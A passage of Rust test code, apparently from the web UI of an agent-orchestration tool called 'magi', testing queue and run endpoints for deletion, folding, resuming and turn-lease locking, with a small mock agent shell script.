18689 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
18690 "counts": [queue.len(), runs.len(), talks.len()],
18691 "blocked": queue_delta.len() - 1,
18692 })
18693 );
18694 }
18695
18696 #[test]
18697 fn runs_revision_moves_when_deleting_an_older_run() {
18698 let temp = TempDir::new().expect("tempdir");
18699 let runs = temp.path().join("runs");
18700 std::fs::create_dir_all(&runs).expect("create runs dir");
18701
18702 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
18703
18704 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
18705 std::thread::sleep(Duration::from_millis(10));
18706 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
18707
18708 let rev_before = runs_revision(&runs);
18709 assert!(rev_before > 0);
18710
18711 let old_dir = runs.join("20260901-100000-old1");
18712 std::fs::remove_dir_all(&old_dir).expect("remove old run");
18713
18714 let rev_after = runs_revision(&runs);
18715 assert_ne!(
18716 rev_before, rev_after,
18717 "deleting an older run must change the revision so other clients see the deletion"
18718 );
18719 }
18720
18721 fn write_state(runs: &FsPath, state: &RunState) {
18726 let dir = runs.join(&state.id);
18727 std::fs::create_dir_all(&dir).expect("run dir");
18728 std::fs::write(
18729 dir.join("run.json"),
18730 serde_json::to_string_pretty(state).expect("serialize run"),
18731 )
18732 .expect("write run.json");
18733 }
18734
18735 #[test]
18740 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
18741 let temp = TempDir::new().expect("tempdir");
18742 let runs = temp.path().join("runs");
18743 std::fs::create_dir_all(&runs).expect("create runs dir");
18744 let mut state = RunState::new(
18745 PathBuf::from("/repo/magi"),
18746 "main".to_owned(),
18747 "0123456789abcdef".to_owned(),
18748 "task".to_owned(),
18749 Config::default(),
18750 );
18751 state.id = "20260902-100000-c0de".to_owned();
18752 write_state(&runs, &state);
18753
18754 let rev_idle = runs_revision(&runs);
18755 std::thread::sleep(Duration::from_millis(10));
18756 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
18757 write_state(&runs, &state);
18758 let rev_started = runs_revision(&runs);
18759 assert_ne!(
18760 rev_idle, rev_started,
18761 "a seat starting must move the revision"
18762 );
18763
18764 std::thread::sleep(Duration::from_millis(10));
18765 state.seat_finished("judge-1");
18766 write_state(&runs, &state);
18767 let rev_finished = runs_revision(&runs);
18768 assert_ne!(
18769 rev_started, rev_finished,
18770 "and clearing it again must move the revision a second time"
18771 );
18772 }
18773
18774 #[tokio::test]
18775 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
18776 let fx = Fixture::start().await;
18781 let q = fx.queue();
18782
18783 let mut t = Task::new(
18784 "Task".to_owned(),
18785 "Instruction".to_owned(),
18786 PathBuf::from("/repo"),
18787 Source::Human,
18788 );
18789 t.block(
18790 vec!["20260101-000000-dead".to_owned()],
18791 Some("waiting on Task 1".to_owned()),
18792 );
18793 t.answers.push(crate::queue::AnsweredQuestion {
18794 question: "Which backend?".to_owned(),
18795 answer: "SQLite".to_owned(),
18796 });
18797 q.put(&mut t).expect("put t");
18798
18799 let res = fx.get("/api/queue").await;
18800 assert_eq!(res.status, 200);
18801 let list = res.json();
18802 let view = list
18803 .as_array()
18804 .expect("array")
18805 .iter()
18806 .find(|v| v["id"] == t.id)
18807 .expect("task in list");
18808 assert_eq!(view["status_str"], "blocked");
18809 assert_eq!(
18810 view["blocked_by"],
18811 serde_json::json!(["20260101-000000-dead"])
18812 );
18813 assert_eq!(view["block_reason"], "waiting on Task 1");
18814 assert_eq!(view["answers"][0]["question"], "Which backend?");
18815 assert_eq!(view["answers"][0]["answer"], "SQLite");
18816
18817 let res = fx
18821 .post(&format!("/api/queue/{}/hold", t.short()), None)
18822 .await;
18823 assert_eq!(res.status, 200);
18824 let held = res.json();
18825 assert_eq!(held["status_str"], "held");
18826 assert_eq!(held["blocked_by"], serde_json::json!([]));
18827 assert!(held["block_reason"].is_null());
18828 assert_eq!(held["answers"][0]["answer"], "SQLite");
18829 }
18830
18831 #[tokio::test]
18832 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
18833 let fx = Fixture::start().await;
18834 let q = fx.queue();
18835 let mk = |title: &str| {
18836 Task::new(
18837 title.to_owned(),
18838 "Instruction".to_owned(),
18839 PathBuf::from("/repo"),
18840 Source::Human,
18841 )
18842 };
18843 let mut root = mk("root");
18844 root.hold_manual(Some("waiting".to_owned()));
18845 q.put(&mut root).unwrap();
18846 let mut mid = mk("mid");
18847 mid.block(vec![root.id.clone()], None);
18848 q.put(&mut mid).unwrap();
18849 let mut leaf = mk("leaf");
18850 leaf.block(vec![mid.id.clone()], None);
18851 q.put(&mut leaf).unwrap();
18852
18853 let list = fx.get("/api/queue").await.json();
18854 let find = |id: &str| {
18855 list.as_array()
18856 .unwrap()
18857 .iter()
18858 .find(|v| v["id"] == id)
18859 .unwrap()
18860 .clone()
18861 };
18862 let leaf_view = find(&leaf.id);
18863 assert_eq!(
18864 leaf_view["waits_on"],
18865 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
18866 );
18867 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
18868 assert_eq!(
18869 find(&mid.id)["waits_on"],
18870 serde_json::json!([format!("{} (held)", root.short())])
18871 );
18872 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
18873 }
18874
18875 #[tokio::test]
18876 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
18877 let fx = Fixture::start().await;
18878 let q = fx.queue();
18879
18880 let mut t1 = Task::new(
18882 "Task 1".to_owned(),
18883 "Instruction 1".to_owned(),
18884 PathBuf::from("/repo"),
18885 Source::Human,
18886 );
18887 let run_id = "20260901-000000-r111";
18888 t1.runs.push(run_id.to_owned());
18889 write_run(&fx.runs(), run_id, RunStatus::Merged);
18890 q.put(&mut t1).expect("put t1");
18891
18892 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
18894 assert_eq!(res.status, 204);
18895 assert!(res.body.is_empty(), "204 No Content has no body");
18896 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
18897 assert!(
18898 fx.runs().join(run_id).exists(),
18899 "run directory must not be deleted when its task is deleted"
18900 );
18901
18902 let mut t2 = Task::new(
18904 "Task 2".to_owned(),
18905 "Instruction 2".to_owned(),
18906 PathBuf::from("/repo"),
18907 Source::Human,
18908 );
18909 t2.status = TaskStatus::Running;
18910 q.put(&mut t2).expect("put t2");
18911 let mut beat = crate::daemon::Status::new();
18912 beat.current = vec![crate::daemon::Current {
18913 task: t2.id.clone(),
18914 run: "20260901-000000-r222".to_owned(),
18915 }];
18916 beat.updated_at = jiff::Timestamp::now();
18917 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18918 .expect("publish a heartbeat");
18919 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
18920 assert_eq!(res.status, 409);
18921 assert!(
18922 res.json()["error"]
18923 .as_str()
18924 .unwrap()
18925 .contains("live daemon")
18926 );
18927 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
18928
18929 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
18935 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
18936 .expect("leave a stale heartbeat");
18937 let mut t3 = Task::new(
18938 "Task 3".to_owned(),
18939 "Instruction 3".to_owned(),
18940 PathBuf::from("/repo"),
18941 Source::Human,
18942 );
18943 t3.status = TaskStatus::Running;
18944 q.put(&mut t3).expect("put t3");
18945 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
18946 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
18947 assert_eq!(res.status, 204);
18948 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
18949 assert!(
18950 q.claim(&t3.id).is_ok(),
18951 "the stale lock went with it, so the id is claimable again"
18952 );
18953
18954 let res = fx.delete("/api/queue/nonexistent").await;
18956 assert_eq!(res.status, 404);
18957 }
18958
18959 #[tokio::test]
18960 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
18961 let fx = Fixture::start().await;
18962 let runs = fx.runs();
18963
18964 let run_id = "20260901-000000-fold";
18966 let mut state = RunState::new(
18967 PathBuf::from("/repo"),
18968 "main".to_owned(),
18969 "abc".to_owned(),
18970 "instruction".to_owned(),
18971 Config::default(),
18972 );
18973 state.id = run_id.to_owned();
18974 state.status = RunStatus::Merged;
18975 state.candidates.push(crate::run::Candidate {
18976 index: 0,
18977 label: 'A',
18978 agent: "a".to_owned(),
18979 branch: "b".to_owned(),
18980 worktree: PathBuf::from("/w"),
18981 summary: String::new(),
18982 stat: String::new(),
18983 files: 1,
18984 commits: 1,
18985 empty: false,
18986 failed: None,
18987 verified_noop: None,
18988 duration_ms: 0,
18989 folded: true,
18990 });
18991 let dir = runs.join(run_id);
18992 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
18993 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
18994 .expect("write artifact");
18995 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
18996 .expect("write run.json");
18997
18998 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19000 assert_eq!(res.status, 204);
19001 assert!(res.body.is_empty(), "204 has no body");
19002 assert!(!dir.exists(), "run directory and artifacts must be deleted");
19003
19004 let run_running = "20260901-000000-rung";
19009 write_run(&runs, run_running, RunStatus::Prep);
19010 let mut beat = crate::daemon::Status::new();
19011 beat.current = vec![crate::daemon::Current {
19012 task: "20260901-000000-task".to_owned(),
19013 run: run_running.to_owned(),
19014 }];
19015 beat.updated_at = jiff::Timestamp::now();
19016 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19017 .expect("publish a heartbeat");
19018 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19019 assert_eq!(res.status, 409);
19020 assert!(
19021 res.json()["error"]
19022 .as_str()
19023 .unwrap()
19024 .contains("live daemon"),
19025 "the refusal must say who is holding it"
19026 );
19027 assert!(
19028 runs.join(run_running).exists(),
19029 "a run in flight keeps its directory"
19030 );
19031
19032 let run_unfolded = "20260901-000000-unfd";
19034 let mut state2 = RunState::new(
19035 PathBuf::from("/repo"),
19036 "main".to_owned(),
19037 "abc".to_owned(),
19038 "instruction".to_owned(),
19039 Config::default(),
19040 );
19041 state2.id = run_unfolded.to_owned();
19042 state2.status = RunStatus::Ready;
19043 state2.candidates.push(crate::run::Candidate {
19044 index: 0,
19045 label: 'A',
19046 agent: "a".to_owned(),
19047 branch: "b".to_owned(),
19048 worktree: PathBuf::from("/w"),
19049 summary: String::new(),
19050 stat: String::new(),
19051 files: 1,
19052 commits: 1,
19053 empty: false,
19054 failed: None,
19055 verified_noop: None,
19056 duration_ms: 0,
19057 folded: false,
19058 });
19059 let dir2 = runs.join(run_unfolded);
19060 std::fs::create_dir_all(&dir2).expect("create dir2");
19061 std::fs::write(
19062 dir2.join("run.json"),
19063 serde_json::to_string(&state2).unwrap(),
19064 )
19065 .expect("write run.json");
19066
19067 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
19068 assert_eq!(res.status, 409);
19069 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
19070 assert!(dir2.exists(), "unfolded run directory is kept");
19071
19072 let res = fx.delete("/api/runs/nonexistent").await;
19074 assert_eq!(res.status, 404);
19075 }
19076
19077 #[test]
19086 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
19087 let start = APP_JS
19088 .find("function renderStats() {")
19089 .expect("renderStats");
19090 let end = start
19091 + APP_JS[start..]
19092 .find("function statsTile(")
19093 .expect("the next top-level function");
19094 let body = &APP_JS[start..end];
19095
19096 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
19097 let gate_end = gate_start
19098 + body[gate_start..]
19099 .find("}\n renderStatsQueue")
19100 .expect("the gate's own closing brace, right before the unconditional call");
19101 let gated = &body[gate_start..gate_end];
19102
19103 assert_eq!(
19104 body.matches("renderStatsQueue(").count(),
19105 1,
19106 "renderStats must call renderStatsQueue exactly once: {body}"
19107 );
19108 assert!(
19109 !gated.contains("renderStatsQueue"),
19110 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
19111 run-derived panels on an empty run history - the queue panel has to render \
19112 regardless: {gated}"
19113 );
19114 }
19115
19116 #[test]
19117 fn web_ui_delete_contract_in_front_end() {
19118 assert!(APP_JS.contains("deleteRun:"));
19120 assert!(APP_JS.contains("deleteTask:"));
19121
19122 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
19124 ..APP_JS.find("function renderRuns").unwrap()];
19125 assert!(!run_cards_slice.to_lowercase().contains("delete"));
19126
19127 assert!(APP_JS.contains("renderRunDelete"));
19129 assert!(APP_JS.contains("runDeleteReason"));
19130 assert!(APP_JS.contains("magi fold"));
19131 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
19132
19133 assert!(APP_JS.contains("cancel.focus"));
19135 assert!(APP_JS.contains("armedRunDelete"));
19136 assert!(APP_JS.contains("renderTaskDeleteBox"));
19137 assert!(APP_JS.contains("armed${cap(key)}"));
19138
19139 assert!(APP_JS.contains("disabled: status === \"running\""));
19141 }
19142
19143 #[test]
19163 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
19164 let build = APP_JS
19165 .find("function createRunCard")
19166 .expect("createRunCard exists");
19167 let update = APP_JS
19168 .find("function updateRunCard")
19169 .expect("updateRunCard exists");
19170 let end = APP_JS
19171 .find("function renderRuns")
19172 .expect("renderRuns exists");
19173
19174 let builder = &APP_JS[build..update];
19176 let open = builder.find("refs = {").expect("createRunCard sets refs");
19177 let literal = &builder[open + "refs = {".len()..];
19178 let close = literal.find('}').expect("the refs literal is closed");
19179 let published: HashSet<&str> = literal[..close]
19180 .split(',')
19181 .filter_map(|entry| entry.split(':').next())
19183 .map(str::trim)
19184 .filter(|name| !name.is_empty())
19185 .collect();
19186 assert!(
19187 published.len() > 5,
19188 "the refs literal did not parse into names: {published:?}"
19189 );
19190
19191 let mut used: Vec<&str> = Vec::new();
19194 let updaters = &APP_JS[update..end];
19195 for (at, _) in updaters.match_indices("r.") {
19196 let before = updaters[..at].chars().next_back();
19199 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
19200 continue;
19201 }
19202 let rest = &updaters[at + 2..];
19203 let len = rest
19204 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
19205 .unwrap_or(rest.len());
19206 if len > 0 {
19207 used.push(&rest[..len]);
19208 }
19209 }
19210 assert!(
19211 used.len() > 5,
19212 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
19213 );
19214
19215 let missing: Vec<&str> = used
19216 .iter()
19217 .copied()
19218 .filter(|name| !published.contains(name))
19219 .collect();
19220 assert!(
19221 missing.is_empty(),
19222 "a run card's updater reaches for {missing:?}, which `createRunCard` \
19223 never put in `refs` - every card will throw and the list will \
19224 render empty under a count line that says otherwise. Published: \
19225 {published:?}"
19226 );
19227 }
19228
19229 #[tokio::test]
19230 async fn folding_from_the_phone_reports_what_it_removed() {
19231 let fx = Fixture::start().await;
19232 let runs = fx.runs();
19233
19234 let id = "20260901-000000-fold";
19238 write_run(&runs, id, RunStatus::Stalled);
19239 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19240 assert_eq!(res.status, 200);
19241 assert_eq!(res.json()["removed_count"], 0);
19242 assert_eq!(res.json()["run"], id);
19243 assert!(
19244 runs.join(id).exists(),
19245 "a fold keeps the run's record; only the worktrees go"
19246 );
19247 }
19248
19249 #[tokio::test]
19250 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
19251 let fx = Fixture::start().await;
19252 let runs = fx.runs();
19253 let wt = fx.home.path().join("wt").join("magi").join("dead");
19254 let id = "20260901-000000-dead";
19255 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19256 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19257 std::fs::create_dir_all(&wt).expect("worktree dir");
19258
19259 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19260 assert_eq!(res.status, 200, "{}", res.body);
19261 assert!(
19262 res.json()["removed_count"].as_u64().unwrap() > 0,
19263 "the worktree this build could not read a state for still went"
19264 );
19265 assert!(
19266 !runs.join(id).exists(),
19267 "an unreadable run has no candidate list to fold selectively, so \
19268 the whole record goes - same as `magi fold` on the CLI"
19269 );
19270 }
19271
19272 #[tokio::test]
19273 async fn deleting_an_unreadable_run_removes_it_wholesale() {
19274 let fx = Fixture::start().await;
19275 let runs = fx.runs();
19276 let wt = fx.home.path().join("wt").join("magi").join("gone");
19277 let id = "20260901-000000-gone";
19278 std::fs::create_dir_all(runs.join(id)).expect("run dir");
19279 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
19280 std::fs::create_dir_all(&wt).expect("worktree dir");
19281
19282 let res = fx.delete(&format!("/api/runs/{id}")).await;
19283 assert_eq!(res.status, 204, "{}", res.body);
19284 assert!(!runs.join(id).exists(), "the broken record is gone");
19285 assert!(!wt.exists(), "its worktree is gone too");
19286 }
19287
19288 #[tokio::test]
19289 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
19290 let fx = Fixture::start().await;
19291 let runs = fx.runs();
19292 let id = "20260901-000000-live";
19293 write_run(&runs, id, RunStatus::Implementing);
19294
19295 let mut beat = crate::daemon::Status::new();
19296 beat.current = vec![crate::daemon::Current {
19297 task: "20260901-000000-task".to_owned(),
19298 run: id.to_owned(),
19299 }];
19300 beat.updated_at = jiff::Timestamp::now();
19301 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19302 .expect("publish a heartbeat");
19303
19304 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
19305 assert_eq!(res.status, 409);
19306 assert!(
19307 res.json()["error"]
19308 .as_str()
19309 .unwrap()
19310 .contains("live daemon"),
19311 "folding under a running agent would pull its worktree away"
19312 );
19313 }
19314
19315 #[tokio::test]
19316 async fn fold_merged_requires_a_pr_url() {
19317 let fx = Fixture::start().await;
19318 let runs = fx.runs();
19319 let id = "20260901-000000-nourl";
19320 write_run(&runs, id, RunStatus::Blocked);
19321
19322 let res = fx
19323 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
19324 .await;
19325 assert_eq!(res.status, 400, "{}", res.body);
19326
19327 let blank = fx
19328 .post(
19329 &format!("/api/runs/{id}/fold-merged"),
19330 Some(r#"{"pr_url":" "}"#),
19331 )
19332 .await;
19333 assert_eq!(blank.status, 400, "{}", blank.body);
19334 }
19335
19336 #[tokio::test]
19337 async fn fold_merged_is_404_for_an_unknown_run() {
19338 let fx = Fixture::start().await;
19339 let res = fx
19340 .post(
19341 "/api/runs/nosuchrun/fold-merged",
19342 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19343 )
19344 .await;
19345 assert_eq!(res.status, 404, "{}", res.body);
19346 }
19347
19348 #[tokio::test]
19349 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
19350 let fx = Fixture::start().await;
19351 let runs = fx.runs();
19352 let id = "20260901-000000-livemerge";
19353 write_run(&runs, id, RunStatus::Blocked);
19354
19355 let mut beat = crate::daemon::Status::new();
19356 beat.current = vec![crate::daemon::Current {
19357 task: "20260901-000000-task".to_owned(),
19358 run: id.to_owned(),
19359 }];
19360 beat.updated_at = jiff::Timestamp::now();
19361 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19362 .expect("publish a heartbeat");
19363
19364 let res = fx
19365 .post(
19366 &format!("/api/runs/{id}/fold-merged"),
19367 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19368 )
19369 .await;
19370 assert_eq!(res.status, 409, "{}", res.body);
19371 assert!(
19372 res.json()["error"]
19373 .as_str()
19374 .unwrap()
19375 .contains("live daemon"),
19376 "correcting a run's merge underneath a running agent would race \
19377 whatever it is doing to the same `status`/`merge` fields"
19378 );
19379 }
19380
19381 #[tokio::test]
19386 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
19387 let fx = Fixture::start().await;
19388 let runs = fx.runs();
19389 let id = "20260901-000000-unconfirmed";
19390 write_run(&runs, id, RunStatus::Blocked);
19391
19392 let res = fx
19393 .post(
19394 &format!("/api/runs/{id}/fold-merged"),
19395 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
19396 )
19397 .await;
19398 assert_eq!(res.status, 400, "{}", res.body);
19399 assert_eq!(
19400 read_run(&runs, id).unwrap().status,
19401 RunStatus::Blocked,
19402 "a pull request that could not be confirmed merged must leave \
19403 the run exactly where it was"
19404 );
19405 }
19406
19407 #[tokio::test]
19408 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
19409 let fx = Fixture::start().await;
19410 let runs = fx.runs();
19411
19412 for (status, word) in [
19418 (RunStatus::Merged, "merged"),
19419 (RunStatus::Ready, "ready"),
19420 (RunStatus::Failed, "failed"),
19421 ] {
19422 let id = format!("20260901-000000-{}", &word[..4]);
19423 write_run(&runs, &id, status);
19424 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
19425 assert_eq!(res.status, 409, "{word} must not be resumable");
19426 let err = res.json()["error"].as_str().unwrap().to_owned();
19427 assert!(err.contains(word), "the refusal names the status: {err}");
19428 }
19429
19430 let mid = "20260901-000000-midf";
19435 write_run(&runs, mid, RunStatus::Reviewing);
19436 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
19437 assert_eq!(res.status, 202, "an interrupted run is resumable");
19438 }
19439
19440 #[tokio::test]
19441 async fn resume_is_refused_while_the_loop_is_running() {
19442 let fx = Fixture::start().await;
19443 let runs = fx.runs();
19444 let stalled = "20260901-000000-stal";
19445 write_run(&runs, stalled, RunStatus::Stalled);
19446
19447 let mut beat = crate::daemon::Status::new();
19451 beat.current = vec![crate::daemon::Current {
19452 task: "20260901-000000-task".to_owned(),
19453 run: "20260901-000000-othr".to_owned(),
19454 }];
19455 beat.updated_at = jiff::Timestamp::now();
19456 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19457 .expect("publish a heartbeat");
19458
19459 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
19460 assert_eq!(res.status, 409);
19461 let err = res.json()["error"].as_str().unwrap().to_owned();
19462 assert!(err.contains("othr"), "it names what the loop is on: {err}");
19463 assert!(err.contains("stop it first"), "{err}");
19464 }
19465
19466 #[test]
19467 fn a_run_cannot_be_resumed_twice_at_once() {
19468 let home = TempDir::new().expect("temp home");
19469 let ui = Ui::new(
19470 Queue::at(home.path().join("queue")),
19471 Questions::at(home.path().join("questions")),
19472 Talks::at(home.path().join("talks")),
19473 home.path().join("runs"),
19474 home.path().to_path_buf(),
19475 PathBuf::from("/repo"),
19476 )
19477 .with_worktrees_root(home.path().join("wt"));
19478 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
19479 let again = ui.begin_resume("20260901-000000-once");
19480 assert!(again.is_err(), "a second tap must not start a second graph");
19481 drop(first);
19482 assert!(
19483 ui.begin_resume("20260901-000000-once").is_ok(),
19484 "and the claim is released when the attempt ends"
19485 );
19486 }
19487
19488 #[test]
19489 fn talk_thinking_tracks_only_its_held_turn_claim() {
19490 let home = TempDir::new().expect("temp home");
19491 let ui = Ui::new(
19492 Queue::at(home.path().join("queue")),
19493 Questions::at(home.path().join("questions")),
19494 Talks::at(home.path().join("talks")),
19495 home.path().join("runs"),
19496 home.path().to_path_buf(),
19497 PathBuf::from("/repo"),
19498 )
19499 .with_worktrees_root(home.path().join("wt"));
19500 let id = "20260901-000000-once";
19501
19502 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
19503 let turn = ui.begin_talk_turn(id).expect("claim turn");
19504 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
19505 assert!(
19506 !ui.is_thinking("20260901-000000-other"),
19507 "one talk's turn does not make another talk busy"
19508 );
19509 drop(turn);
19510 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
19511 }
19512
19513 #[test]
19514 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
19515 let home = TempDir::new().expect("temp home");
19516 let talks = Talks::at(home.path().join("talks"));
19517 let ui = Ui::new(
19518 Queue::at(home.path().join("queue")),
19519 Questions::at(home.path().join("questions")),
19520 talks.clone(),
19521 home.path().join("runs"),
19522 home.path().to_path_buf(),
19523 PathBuf::from("/repo"),
19524 )
19525 .with_worktrees_root(home.path().join("wt"));
19526 let id = "20260901-000000-cross";
19527
19528 let other = Talks::at(home.path().join("talks"))
19529 .claim_turn(id)
19530 .expect("claim")
19531 .expect("the other process wins");
19532 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
19533 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
19534 assert!(
19535 matches!(
19536 ui.begin_talk_turn_unless_pending(id).expect("start"),
19537 TalkTurnStart::Foreign
19538 ),
19539 "a foreign holder is refused, not queued behind"
19540 );
19541 assert!(
19542 !ui.talk_turns.lock().unwrap().live.contains(id),
19543 "a refused claim leaves no in-process entry behind"
19544 );
19545 drop(other);
19546 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
19547 assert!(talks.turn_held(id), "the web turn holds the lease");
19548 drop(turn);
19549 assert!(
19550 !talks.turn_held(id),
19551 "dropping the guard releases the lease"
19552 );
19553 }
19554
19555 fn consult_question(ui: &Ui) -> Question {
19556 let mut q = Question::new(
19557 "20260901-000000-consult".to_owned(),
19558 "implement".to_owned(),
19559 "impl-A".to_owned(),
19560 "Which backend?".to_owned(),
19561 String::new(),
19562 vec!["SQLite".to_owned(), "Redis".to_owned()],
19563 );
19564 ui.questions.put(&mut q).expect("question");
19565 q
19566 }
19567
19568 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
19569 (
19570 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
19571 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
19572 )
19573 }
19574
19575 #[tokio::test]
19576 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
19577 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19578 let q = consult_question(&ui);
19579 let talk = ui.talks.get(&id).expect("talk");
19580 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
19581 let before = consult_snapshot(&ui, &q, &id);
19582 let cli_talks = Talks::at(ui.home.join("talks"));
19583 assert_eq!(
19584 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
19585 .await
19586 .expect("CLI starter"),
19587 crate::consult::Started::Busy
19588 );
19589 assert_eq!(consult_snapshot(&ui, &q, &id), before);
19590 assert!(ui.is_thinking(&id));
19591 drop(guard);
19592 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
19593 }
19594
19595 #[tokio::test]
19596 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
19597 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
19598 let q = consult_question(&ui);
19599 let talk = ui.talks.get(&id).expect("talk");
19600 let started = tmp.path().join("started");
19601 let release = tmp.path().join("release");
19602 let script = tmp.path().join("consult-agent.sh");
19603 std::fs::write(
19604 &script,
19605 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
19606 )
19607 .expect("script");
19608 let mut cfg = stub_config();
19609 cfg.agents[0].id = "mock".to_owned();
19610 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
19611 cfg.agents[0].env = std::collections::BTreeMap::from([
19612 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
19613 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
19614 ]);
19615 let questions = ui.questions.clone();
19616 let cli_talks = Talks::at(ui.home.join("talks"));
19617 let cli_q = q.clone();
19618 let turn = tokio::spawn(async move {
19619 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
19620 });
19621 let ready = tokio::time::timeout(Duration::from_secs(30), async {
19622 while !started.exists() {
19623 tokio::time::sleep(Duration::from_millis(10)).await;
19624 }
19625 })
19626 .await;
19627 let refusal = if ready.is_ok() {
19630 let before = consult_snapshot(&ui, &q, &id);
19631 let result = talk_say(
19632 State(Arc::clone(&ui)),
19633 Path(id.clone()),
19634 Ok(Json(NewTalkTurn {
19635 reply_to: None,
19636 text: "another message".to_owned(),
19637 attachments: Vec::new(),
19638 })),
19639 )
19640 .await;
19641 Some((result, before, consult_snapshot(&ui, &q, &id)))
19642 } else {
19643 None
19644 };
19645 std::fs::write(&release, "").expect("release agent");
19646 let done = turn.await.expect("join CLI turn");
19647 ready.expect("agent started before deadline");
19648 let (result, before, after) = refusal.expect("web request");
19649 let error = result.expect_err("web must refuse the CLI's turn");
19650 assert_eq!(error.status, StatusCode::CONFLICT);
19651 assert!(error.message.contains("a turn is already running"));
19652 assert_eq!(
19653 after, before,
19654 "refusal preserves question, draft and history"
19655 );
19656 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
19657 let guard = ui
19658 .begin_talk_turn(&id)
19659 .expect("web claim")
19660 .expect("free again");
19661 drop(guard);
19662 }
19663
19664 #[test]
19665 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
19666 let home = TempDir::new().expect("temp home");
19667 let talks = Talks::at(home.path().join("talks"));
19668 let ui = Ui::new(
19669 Queue::at(home.path().join("queue")),
19670 Questions::at(home.path().join("questions")),
19671 talks.clone(),
19672 home.path().join("runs"),
19673 home.path().to_path_buf(),
19674 PathBuf::from("/repo"),
19675 )
